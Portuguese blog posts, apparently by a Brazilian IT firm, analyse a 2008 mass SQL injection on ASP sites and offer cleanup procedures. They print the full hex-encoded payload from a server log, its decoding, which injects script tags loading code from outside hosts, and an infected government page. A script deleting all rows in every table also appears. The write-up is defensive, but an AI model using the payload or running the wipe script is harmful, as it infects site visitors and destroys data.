Postado por: Raphael Cangucu
Hoje eu estava navegando nas páginas da PBH procurando um sistema web para reemissão de alvará de funcionamento para anos anteriores , pois desde que assumimos a Codificar (antiga Tecnocom) em 2007 nunca nos notificaram que existia uma pendência na Taxa de Incêndio de 2004. Pendência aliás que está com um valor incorreto, pois as dimensões da empresa estão completamente erradas, quase 10x maior que a verdadeira.
Enfim vamos ao que interessa. Um erro muito comum e cometido por desenvolvedores menos experientes, ou ainda desorganizados é a permissividade de inserção de código malicioso via métodos get e post do protocolo HTTP. Ambos os métodos permitem que uma página web troque informações com um servidor web através de variáveis textuais de maneira muito simples e fácil. Contudo fica como obrigação do desenvolvedor tratar o recebimento dessas variáveis que muitas vezes podem conter código malicioso.
Em linguagens de programação mais modernas e melhores encapsuladas, ou ainda em frameworks que modernizam e melhoram certas LP’s há tratamento destes inputs, coibindo assim o ataque ao site.
O erro que vi no site da PBH já aconteceu alguns de nossos clientes que possuem sites/sistemas desenvolvidos em Linguagem de Programação ASP. Diga-se de passagem que não fomos nós da Codificar que desenvolvemos os sites/sistemas de nossos clientes, somente assumimos a manutenção quando o CIRCO já estava pegando fogo.
Geralmente o erro é explorado da seguinte forma:
- Site vulnerável em ASP
- Componentes de MDAC desatualizados no servidor windows
- Código malicioso inserido por SQL INJECTION utilizando valores hexadecimais que traduzidos correspodem a declaração de um cursor que vai em todos os campos textuais do banco de dados SQL Server e concatenam o código indevido.
Tal erro, além de ser uma falha de programação é também um erro em alguns componentes windows (item 2 acima) que não me lembro bem, mas na época em que ocorreu isso em 2 de nossos clientes que estavam hospedados na locaweb, indicamos a atualização dos mesmos ao suporte da locaweb.
Veja como o ataque é realizado através do log do servidor web onde um cliente da Codificar recebeu esse ataque:
2008-05-27 03:02:11 W3SVC13927 PLESKWIN12 200.23X.XXX.XXX GET /page.asp intIndex=85;DECLARE%20@S%
20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E61647739352E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));
EX3C(@S);– 80 – 77.237.76.98 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) – - www.CLIENTE-CODIFICAR.com.br 200 0 64 0 1413 49151
Segundo o MAXMIND.com site que possui serviços de georeferenciamento de IP’s, o IP 77.237.76.98 está localizado no IRAN:
| Hostname | Country Code | Country Name | Region | Region Name | City | Postal Code | Latitude | Longitude | ISP | Organization | Metro Code | Area Code |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 77.237.76.98 | IR | Iran, Islamic Republic of | 05 | Kohkiluyeh va Buyer Ahmadi | Gachsaran | 30.3586 | 50.7981 | Respina Networks & Beyond | Respina Networks & Beyond |
Pegando esse trecho em HEXA e transformado para ASCII temos:
DECLARE @T VARCHAR(255)"@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name"b.name FROM sysobjects a"syscolumns b WHERE a.id=b.id AND a.xtype="u" AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T"@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC("UPDATE ["+@T+"] SET ["+@C+"]=RTRIM(CONVERT( VARCHAR(4000)"["+@C+"]))+""<scrip_t src=http://www_adw_95_com/_b.js></fechascript>""") FETCH NEXT FROM Table_Cursor INTO @T"@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Em tempo de execução da página web esse código é executado alterando todos textos do banco de dados.
Veja como ficou a página afetada da PBH. (http://www.fazenda.pbh.gov.br/internet/pesquisas/consultas/resultado.asp?BuscaPalavra=alvar%E1&TipoBusca=A)
<table width="100%"> <tbody> <tr> <td colspan="2" width="100%" height="22" align="left" valign="top"> <hr size="1" noshade="noshade" /> </td> </tr> <tr> <td width="15%" height="22" align="left" valign="top"><span style="color: #000000; font-family: Arial; font-size: x-small;"><strong>013/2002<script src="http://www.chinabnr.com/b.js"></script><script src="http://www.bnradw.com/b.js"></script> </strong></span><strong> </strong></td> <td width="80%" height="22" align="left" valign="top"><span style="color: #000000; font-family: Arial; font-size: x-small;">"ISSQN - PROFISSIONAIS AUTÔNOMOS - OBRIGAÇÕES TRIBUTÁRIAS.Os profissionais autônomos, salvo os isentos do ISSQN, que exercerem suas atividades no território do Município, devem inscrever-se no cadastro mobiliário de contribuintes, recolher o ISSQN devido e comunicar as alterações cadastrais de interesse do fisco, inclusive o encerramento das atividades. Podem sujeitar-se ainda à incidência da Taxa de Fiscalização de Anúncios, se proprietário de engenho de divulgação de publicidade, e da Taxa de Fiscalização Sanitária, caso exerçam atividades que devam submeter-se à fiscalização específica.<script src="http://www.china_bnr_com/b_js">// <![CDATA[ </fecchascript><script src-"http://www_bnradw_com-b-js"> // ]]></script>"</span></td> <td width="5%" height="22" align="left" valign="top"><span style="color: #000000; font-family: Arial; font-size: x-small;"><a onmouseover="MM_swapImage('Image791','','../../../dividativa/avanca_on.gif',1)" onmouseout="MM_swapImgRestore()" href="resultadoaction.asp?Bookmark=2&BuscaPalavra=alvar%C3%A1&TipoBusca=A"><img src="../../../dividativa/avanca.gif" border="0" alt="" width="16" height="16" /></a></span> </td> </tr> </tbody> </table>
Caso tenha um bom anti-virus e peça para visualizar o código fonte dessa página ou ainda entrar na pasta de cache do seu navegar ele irá acusar a presença do código malicioso.
Anteriormente já tinhamos anunciado a solução aqui em nosso blog:
- Coloque / inclua o script ASP fix_injection nos arquivos que fazem comunicação com o banco de dados, veja o código no post ASP – ANTI SQL INJECTION.
- Caso não houve perda dos dados dos campos textuais, use o script SQL de Busca e substituição postado em SEARCH AND REPLACE T-SQL.
Foi enviado um email para webmaster@pbh.gov.br com o link deste post para correção dos erros.
Caso não consiga solucionar o problema , ou possui problemas parecidos com esse de difícil solução em seu sistema/site entre em contato com a Codificar e peça um orçamento através do nosso formulário de contato.
Atenciosamente,
Raphael Canguçu.
Postado por: Raphael Cangucu
Em somente 6 linhas vc limpa todas as tabelas existentes em um banco de dados.
Código do script:
exec sp_MSforeachtable ‘ALTER TABLE ? NOCHECK CONSTRAINT ALL’
exec sp_MSforeachtable ‘ALTER TABLE ? DISABLE TRIGGER ALL’
exec sp_MSforeachtable ‘DELETE ?’
exec sp_MSforeachtable ‘ALTER TABLE ? CHECK CONSTRAINT ALL’
exec sp_MSforeachtable ‘ALTER TABLE ? ENABLE TRIGGER ALL’
exec sp_MSforeachtable ‘IF OBJECTPROPERTY(OBJECT_ID(”?”), ”TableHasIdentity”) = 1 BEGIN DBCC CHECKIDENT (”?”,RESEED,0) END’
.26/05/2008
SEARCH / BUSCA – T-SQL
Postado por: Raphael Cangucu
Função que faz a busca em todos campos texto de um banco mssql usando a linguagem t-sql:
USO:
EXEC SearchAllTables ‘<LIXO>’
GO
Código da stored procedure:
CREATE PROC SearchAllTables
(
@SearchStr nvarchar(100)
)
AS
BEGIN
-- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
-- Purpose: To search all columns of all tables for a given search string
-- Written by: Narayana Vyas Kondreddi
-- Site: http://vyaskn.tripod.com
-- Tested on: SQL Server 7.0 and SQL Server 2000
-- Date modified: 28th July 2002 22:50 GMT
CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))
SET NOCOUNT ON
DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
SET @TableName = ''
SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
WHILE @TableName IS NOT NULL
BEGIN
SET @ColumnName = ''
SET @TableName =
(
SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE'
AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
AND OBJECTPROPERTY(
OBJECT_ID(
QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
), 'IsMSShipped'
) = 0
)
WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
BEGIN
SET @ColumnName =
(
SELECT MIN(QUOTENAME(COLUMN_NAME))
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = PARSENAME(@TableName, 2)
AND TABLE_NAME = PARSENAME(@TableName, 1)
AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
AND QUOTENAME(COLUMN_NAME) > @ColumnName
)
IF @ColumnName IS NOT NULL
BEGIN
INSERT INTO #Results
EXEC
(
'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630)
FROM ' + @TableName + ' (NOLOCK) ' +
' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
)
END
END
END
SELECT ColumnName, ColumnValue FROM #Results
END
.26/05/2008
Search AND Replace – T-SQL
Postado por: Raphael Cangucu
Função importante em T-SQL para procurar e substituir em todo banco de dados mssql / sql server
USO:
–Substituir “<script src=”sql injection”>” por ‘codificar-purificar’:
EXEC SearchAndReplace ‘<script src=”sql injection”>‘, ‘codificar-purificar‘
GO
Código da stored procedure:
CREATE PROC SearchAndReplace
(
@SearchStr nvarchar(100),
@ReplaceStr nvarchar(100)
)
AS
BEGIN
-- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
-- Purpose: To search all columns of all tables for a given search string and replace it with another string
-- Written by: Narayana Vyas Kondreddi
-- Site: http://vyaskn.tripod.com
-- Tested on: SQL Server 7.0 and SQL Server 2000
-- Date modified: 2nd November 2002 13:50 GMT
SET NOCOUNT ON
DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @SQL nvarchar(4000), @RCTR int
SET @TableName = ''
SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
SET @RCTR = 0
WHILE @TableName IS NOT NULL
BEGIN
SET @ColumnName = ''
SET @TableName =
(
SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE'
AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
AND OBJECTPROPERTY(
OBJECT_ID(
QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
), 'IsMSShipped'
) = 0
)
WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
BEGIN
SET @ColumnName =
(
SELECT MIN(QUOTENAME(COLUMN_NAME))
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = PARSENAME(@TableName, 2)
AND TABLE_NAME = PARSENAME(@TableName, 1)
AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
AND QUOTENAME(COLUMN_NAME) > @ColumnName
)
IF @ColumnName IS NOT NULL
BEGIN
SET @SQL= 'UPDATE ' + @TableName +
' SET ' + @ColumnName
+ ' = REPLACE(' + @ColumnName + ', '
+ QUOTENAME(@SearchStr, '''') + ', ' + QUOTENAME(@ReplaceStr, '''') +
') WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
EXEC (@SQL)
SET @RCTR = @RCTR + @@ROWCOUNT
END
END
END
SELECT 'Replaced ' + CAST(@RCTR AS varchar) + ' occurence(s)' AS 'Outcome'
END



